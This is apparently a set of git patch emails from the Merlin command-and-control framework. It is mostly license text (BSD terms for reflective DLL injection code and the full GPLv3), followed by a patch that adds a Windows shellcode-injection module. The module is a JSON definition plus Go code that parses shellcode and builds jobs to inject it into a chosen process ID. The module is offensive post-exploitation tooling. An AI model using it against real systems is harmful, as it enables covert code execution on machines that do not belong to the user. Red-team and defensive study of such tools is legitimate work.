CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + +*********************************************************************************************** +Reflective DLL Injection primitives and related works are released under the license below. +*********************************************************************************************** + +Copyright (c) 2015, Dan Staples + +Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted +provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this list of +conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, this list of +conditions and the following disclaimer in the documentation and/or other materials provided +with the distribution. + +* Neither the name of Harmony Security nor the names of its contributors may be used to +endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + +*********************************************************************************************** +All other works under this project are licensed under GNU GPLv3 +*********************************************************************************************** + + +GNU GENERAL PUBLIC LICENSE +Version 3, 29 June 2007 + +Copyright (C) 2007 Free Software Foundation, Inc. +Everyone is permitted to copy and distribute verbatim copies +of this license document, but changing it is not allowed. + +Preamble + +The GNU General Public License is a free, copyleft license for +software and other kinds of works. + +The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + +When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + +To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + +For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + +Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + +For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + +Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + +Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + +The precise terms and conditions for copying, distribution and +modification follow. + +TERMS AND CONDITIONS + +0. Definitions. + +"This License" refers to version 3 of the GNU General Public License. + +"Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + +"The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + +To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + +A "covered work" means either the unmodified Program or a work based +on the Program. + +To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + +To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + +An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + +1. Source Code. + +The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + +A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + +The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + +The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + +The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + +The Corresponding Source for a work in source code form is that +same work. + +2. Basic Permissions. + +All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + +You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + +Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + +3. Protecting Users' Legal Rights From Anti-Circumvention Law. + +No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + +When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + +4. Conveying Verbatim Copies. + +You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + +You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + +5. Conveying Modified Source Versions. + +You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + +a) The work must carry prominent notices stating that you modified +it, and giving a relevant date. + +b) The work must carry prominent notices stating that it is +released under this License and any conditions added under section +7. This requirement modifies the requirement in section 4 to +"keep intact all notices". + +c) You must license the entire work, as a whole, under this +License to anyone who comes into possession of a copy. This +License will therefore apply, along with any applicable section 7 +additional terms, to the whole of the work, and all its parts, +regardless of how they are packaged. This License gives no +permission to license the work in any other way, but it does not +invalidate such permission if you have separately received it. + +d) If the work has interactive user interfaces, each must display +Appropriate Legal Notices; however, if the Program has interactive +interfaces that do not display Appropriate Legal Notices, your +work need not make them do so. + +A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + +6. Conveying Non-Source Forms. + +You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + +a) Convey the object code in, or embodied in, a physical product +(including a physical distribution medium), accompanied by the +Corresponding Source fixed on a durable physical medium +customarily used for software interchange. + +b) Convey the object code in, or embodied in, a physical product +(including a physical distribution medium), accompanied by a +written offer, valid for at least three years and valid for as +long as you offer spare parts or customer support for that product +model, to give anyone who possesses the object code either (1) a +copy of the Corresponding Source for all the software in the +product that is covered by this License, on a durable physical +medium customarily used for software interchange, for a price no +more than your reasonable cost of physically performing this +conveying of source, or (2) access to copy the +Corresponding Source from a network server at no charge. + +c) Convey individual copies of the object code with a copy of the +written offer to provide the Corresponding Source. This +alternative is allowed only occasionally and noncommercially, and +only if you received the object code with such an offer, in accord +with subsection 6b. + +d) Convey the object code by offering access from a designated +place (gratis or for a charge), and offer equivalent access to the +Corresponding Source in the same way through the same place at no +further charge. You need not require recipients to copy the +Corresponding Source along with the object code. If the place to +copy the object code is a network server, the Corresponding Source +may be on a different server (operated by you or a third party) +that supports equivalent copying facilities, provided you maintain +clear directions next to the object code saying where to find the +Corresponding Source. Regardless of what server hosts the +Corresponding Source, you remain obligated to ensure that it is +available for as long as needed to satisfy these requirements. + +e) Convey the object code using peer-to-peer transmission, provided +you inform other peers where the object code and Corresponding +Source of the work are being offered to the general public at no +charge under subsection 6d. + +A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + +A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + +"Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + +If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + +The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + +Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + +7. Additional Terms. + +"Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + +When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + +Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + +a) Disclaiming warranty or limiting liability differently from the +terms of sections 15 and 16 of this License; or + +b) Requiring preservation of specified reasonable legal notices or +author attributions in that material or in the Appropriate Legal +Notices displayed by works containing it; or + +c) Prohibiting misrepresentation of the origin of that material, or +requiring that modified versions of such material be marked in +reasonable ways as different from the original version; or + +d) Limiting the use for publicity purposes of names of licensors or +authors of the material; or + +e) Declining to grant rights under trademark law for use of some +trade names, trademarks, or service marks; or + +f) Requiring indemnification of licensors and authors of that +material by anyone who conveys the material (or modified versions of +it) with contractual assumptions of liability to the recipient, for +any liability that these contractual assumptions directly impose on +those licensors and authors. + +All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + +If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + +Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + +8. Termination. + +You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + +However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + +Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + +Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + +9. Acceptance Not Required for Having Copies. + +You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + +10. Automatic Licensing of Downstream Recipients. + +Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + +An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + +You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + +11. Patents. + +A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + +A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + +Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + +In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + +If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + +If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + +A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + +Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + +12. No Surrender of Others' Freedom. + +If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + +13. Use with the GNU Affero General Public License. + +Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + +14. Revised Versions of this License. + +The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + +If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + +Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + +15. Disclaimer of Warranty. + +THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + +16. Limitation of Liability. + +IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + +17. Interpretation of Sections 15 and 16. + +If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + +END OF TERMS AND CONDITIONS + +How to Apply These Terms to Your New Programs + +If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + +To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + +{one line to give the program's name and a brief idea of what it does.} +Copyright (C) {year} {name of author} + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + +If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + +{project} Copyright (C) {year} {fullname} +This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + +You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + +The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. +*/ From 285c3ceeea446394ac4383bc2af2a501f34f0762 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Mon, 4 Mar 2019 21:51:31 -0500 Subject: [PATCH 095/112] Updated shellcode module and added shellcodeinjection.json module file --- data/modules/windows/x64/go/exec/sRDI.json | 3 +- .../x64/go/exec/shellcodeInjection.json | 22 +++++ pkg/modules/modules.go | 3 + pkg/modules/shellcode/shellcode.go | 82 ++++++++++++++++--- 4 files changed, 95 insertions(+), 15 deletions(-) create mode 100644 data/modules/windows/x64/go/exec/shellcodeInjection.json diff --git a/data/modules/windows/x64/go/exec/sRDI.json b/data/modules/windows/x64/go/exec/sRDI.json index b262f33f..570a4ec3 100644 --- a/data/modules/windows/x64/go/exec/sRDI.json +++ b/data/modules/windows/x64/go/exec/sRDI.json @@ -20,7 +20,6 @@ {"name": "method", "value": "self", "required": true, "flag": "", "description": "The method to execute the shellcode: self, remote, or RtlCreateUserThread"} ], "description": "This module will convert the provided Windows DLL to position independent shellcode that will be reflectively loaded and executed in the target process", - "notes": "Based on the sRDI project at: https://github.com/monoxgas/sRDI", - "commands": ["{{dll.Value}}", "{{clearHeader.Value}}", "{{function.Value}}", "{{args.Value}}", "{{pid.Value}}", "{{method.Value}}"] + "notes": "Based on the sRDI project at: https://github.com/monoxgas/sRDI" } } \ No newline at end of file diff --git a/data/modules/windows/x64/go/exec/shellcodeInjection.json b/data/modules/windows/x64/go/exec/shellcodeInjection.json new file mode 100644 index 00000000..aeacf2dc --- /dev/null +++ b/data/modules/windows/x64/go/exec/shellcodeInjection.json @@ -0,0 +1,22 @@ +{ + "base": { + "name": "shellcodeInjection", + "type": "extended", + "author": ["Russel Van Tuyl (@Ne0nd0g)"], + "credits": [], + "path": ["windows", "x64", "go", "exec", "shellcodeInjection.json"], + "platform": "WINDOWS", + "arch": "x64", + "lang": "Go", + "privilege": false, + "remote": "", + "local": [""], + "options": [ + {"name": "shellcode", "value": "", "required": true, "flag": "", "description":"Path to a raw binary file or a text file containing shellcode in either \\\\x90 OR 0x90 format"}, + {"name": "pid", "value": "", "required": false, "flag": "", "description": "The Windows Process ID to inject the shellcode into"}, + {"name": "method", "value": "self", "required": true, "flag": "", "description": "The method to execute the shellcode: self, remote, or RtlCreateUserThread"} + ], + "description": "This module will read in shellcode and execute it using the provided method. Shellcode will be injected and executed into the provided PID if the method is NOT self", + "notes": "Shellcode itself, instead of a file path, can be set for the shellcode option so long as there are no spaces" + } +} \ No newline at end of file diff --git a/pkg/modules/modules.go b/pkg/modules/modules.go index 02b6b9fc..2c6036db 100644 --- a/pkg/modules/modules.go +++ b/pkg/modules/modules.go @@ -37,6 +37,7 @@ import ( // Merlin "github.com/Ne0nd0g/merlin/pkg/agents" "github.com/Ne0nd0g/merlin/pkg/core" + "github.com/Ne0nd0g/merlin/pkg/modules/shellcode" "github.com/Ne0nd0g/merlin/pkg/modules/srdi" ) @@ -346,6 +347,8 @@ func getExtendedCommand(m *Module) ([]string, error) { switch strings.ToLower(m.Name) { case "srdi": extendedCommand, err = srdi.Parse(m.getMapFromOptions()) + case "shellcodeinjection": + extendedCommand, err = shellcode.Parse(m.getMapFromOptions()) default: return nil, fmt.Errorf("the %s module's extended command function was not found", m.Name) } diff --git a/pkg/modules/shellcode/shellcode.go b/pkg/modules/shellcode/shellcode.go index 05d02019..7b15fc6e 100644 --- a/pkg/modules/shellcode/shellcode.go +++ b/pkg/modules/shellcode/shellcode.go @@ -24,10 +24,69 @@ import ( "encoding/base64" "encoding/hex" "errors" + "fmt" "io/ioutil" + "os" + "strconv" "strings" ) +// Parse is the initial entry point for all extended modules. All validation checks and processing will be performed here +// The function input types are limited to strings and therefore require additional processing +func Parse(options map[string]string) ([]string, error) { + if len(options) != 3 { + return nil, fmt.Errorf("3 arguments were expected, %d were provided", len(options)) + } + var b64 string + + f, errF := os.Stat(options["shellcode"]) + if errF != nil { + h, errH := parseHex([]string{options["shellcode"]}) + if errH != nil { + return nil, errH + } + b64 = base64.StdEncoding.EncodeToString(h) + } else { + if f.IsDir() { + return nil, fmt.Errorf("a directory was provided instead of a file: %s", options["shellcode"]) + } + b, errB := parseShellcodeFile(options["shellcode"]) + if errB != nil { + return nil, fmt.Errorf("there was an error parsing the shellcode file:\r\n%s", errB.Error()) + } + b64 = base64.StdEncoding.EncodeToString(b) + } + + // Convert PID to integer + if options["pid"] != "" { + _, errPid := strconv.Atoi(options["pid"]) + if errPid != nil { + return nil, fmt.Errorf("there was an error converting the PID to an integer:\r\n%s", errPid.Error()) + } + } + + if strings.ToLower(options["method"]) != "self" && options["pid"] == "" { + return nil, fmt.Errorf("a valid PID must be provided for any method except self") + } + + // Verify Method is a valid type + switch strings.ToLower(options["method"]) { + case "self": + case "remote": + case "rtlcreateuserthread": + case "userapc": + default: + return nil, fmt.Errorf("invalid shellcode execution method: %s", options["method"]) + + } + command, errCommand := GetJob(options["method"], b64, options["pid"]) + if errCommand != nil { + return nil, fmt.Errorf("there was an error getting the shellcode job:\r\n%s", errCommand.Error()) + } + + return command, nil +} + // GetJob returns a string array containing the commands, in the proper order, to be used with agents.AddJob func GetJob(method string, shellcode string, pid string) ([]string, error) { // TODO shellcode input needs to be Base64 encoded @@ -46,17 +105,14 @@ func GetJob(method string, shellcode string, pid string) ([]string, error) { // parseHex evaluates a string array to determine its format and returns a byte array of the hex func parseHex(str []string) ([]byte, error) { - hexString := strings.Join(str, "") data, err := base64.StdEncoding.DecodeString(hexString) - if err != nil { - return nil, err + if err == nil { + s := string(data) + hexString = s } - s := string(data) - hexString = s - // see if string is prefixed with 0x if hexString[0:2] == "0x" { hexString = strings.Replace(hexString, "0x", "", -1) @@ -88,16 +144,16 @@ func parseHex(str []string) ([]byte, error) { // parseShellcodeFile parses a path, evaluates the file's contents, and returns a byte array of shellcode func parseShellcodeFile(filePath string) ([]byte, error) { - b, errB := ioutil.ReadFile(filePath) // #nosec G304 Users can include any file from anywhere - if errB != nil { - return nil, errB + fileContents, err := ioutil.ReadFile(filePath) // #nosec G304 Users can include any file from anywhere + if err != nil { + return nil, err } - h, errH := parseHex([]string{string(b)}) - if errH != nil { - return h, nil + hexBytes, errHex := parseHex([]string{string(fileContents)}) + if errHex != nil { + return nil, errHex } - return b, nil + return hexBytes, nil } From be454fddf3bf8f3d3f0b37f51e5ed851088bf029 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Mon, 4 Mar 2019 22:52:10 -0500 Subject: [PATCH 096/112] Moved execute-shellcode functionality out of cli package and imported modules/shellcode to handle it --- pkg/cli/cli.go | 238 